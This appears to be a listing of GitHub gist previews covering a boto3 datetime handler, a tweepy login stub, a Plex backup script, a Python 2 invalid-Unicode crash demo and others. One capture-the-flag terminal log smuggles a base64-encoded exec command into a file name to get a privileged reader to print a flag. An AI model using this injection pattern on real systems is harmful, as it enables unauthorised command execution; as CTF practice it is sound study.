| XZ Backdoor symbol deobfuscation. Updated as i make progress |
| # Adapted from https://stackoverflow.com/questions/35869985/datetime-datetime-is-not-json-serializable | |
| import datetime | |
| import json | |
| import boto3 | |
| def datetime_handler(x): | |
| if isinstance(x, datetime.datetime): | |
| return x.isoformat() |
FWIW: I (@rondy) am not the creator of the content shared here, which is an excerpt from Edmond Lau's book. I simply copied and pasted it from another location and saved it as a personal note, before it gained popularity on news.ycombinator.com. Unfortunately, I cannot recall the exact origin of the original source, nor was I able to find the author's name, so I am can't provide the appropriate credits.
| import tweepy | |
| import os | |
| import json | |
| def get_api(cfg): | |
| auth = tweepy.OAuthHandler(cfg['consumer_key'], cfg['consumer_secret']) | |
| auth.set_access_token(cfg['access_token'], cfg['access_token_secret']) | |
| return tweepy.API(auth) | |
| def main(): | |
| # Fill in the values noted in previous step here |
This gist contains lists of modules available in
in AWS Lambda.
| #!/bin/bash | |
| # Backup a Plex database. | |
| # Author Scott Smereka | |
| # Version 1.0 | |
| # Script Tested on: | |
| # Ubuntu 12.04 on 2/2/2014 [ OK ] | |
| # Plex Database Location. The trailing slash is |
This configuration is not maintained anymore. You should think twice before using it, Breaking change and security issue will likely eventually happens as any abandonned project.
| """ | |
| This file contains code that, when run on Python 2.7.5 or earlier, creates | |
| a string that should not exist: u'\Udeadbeef'. That's a single "character" | |
| that's illegal in Python because it's outside the valid Unicode range. | |
| It then uses it to crash various things in the Python standard library and | |
| corrupt a database. | |
| On Python 3... well, this file is full of syntax errors on Python 3. But | |
| if you were to change the print statements and byte literals and stuff: |
| team417@securereader:/tmp/monkey$ echo '/home/securereader/secure_reader /tmp/monkey/flag' | base64 | |
| team417@securereader:/tmp/monkey$ touch ';exec $(echo L2hvbWUvc2VjdXJlcmVhZGVyL3NlY3VyZV9yZWFkZXIgL3RtcC9tb25rZXkvZmxhZwo=|base64 -d)' | |
| team417@securereader:/tmp/monkey$ chmod -r ';exec $(echo L2hvbWUvc2VjdXJlcmVhZGVyL3NlY3VyZV9yZWFkZXIgL3RtcC9tb25rZXkvZmxhZwo=|base64 -d)' | |
| team417@securereader:/tmp/monkey$ /home/securereader/reader ';exec $(echo L2hvbWUvc2VjdXJlcmVhZGVyL3NlY3VyZV9yZWFkZXIgL3RtcC9tb25rZXkvZmxhZwo=|base64 -d)' | |
| This may only be called by /home/securereader/reader | |
| that_was_totally_a_good_idea | |
| team417@securereader:/tmp/monkey$ |
| /* usbreset -- send a USB port reset to a USB device | |
| * | |
| * Compile using: gcc -o usbreset usbreset.c | |
| * | |
| * | |
| * */ | |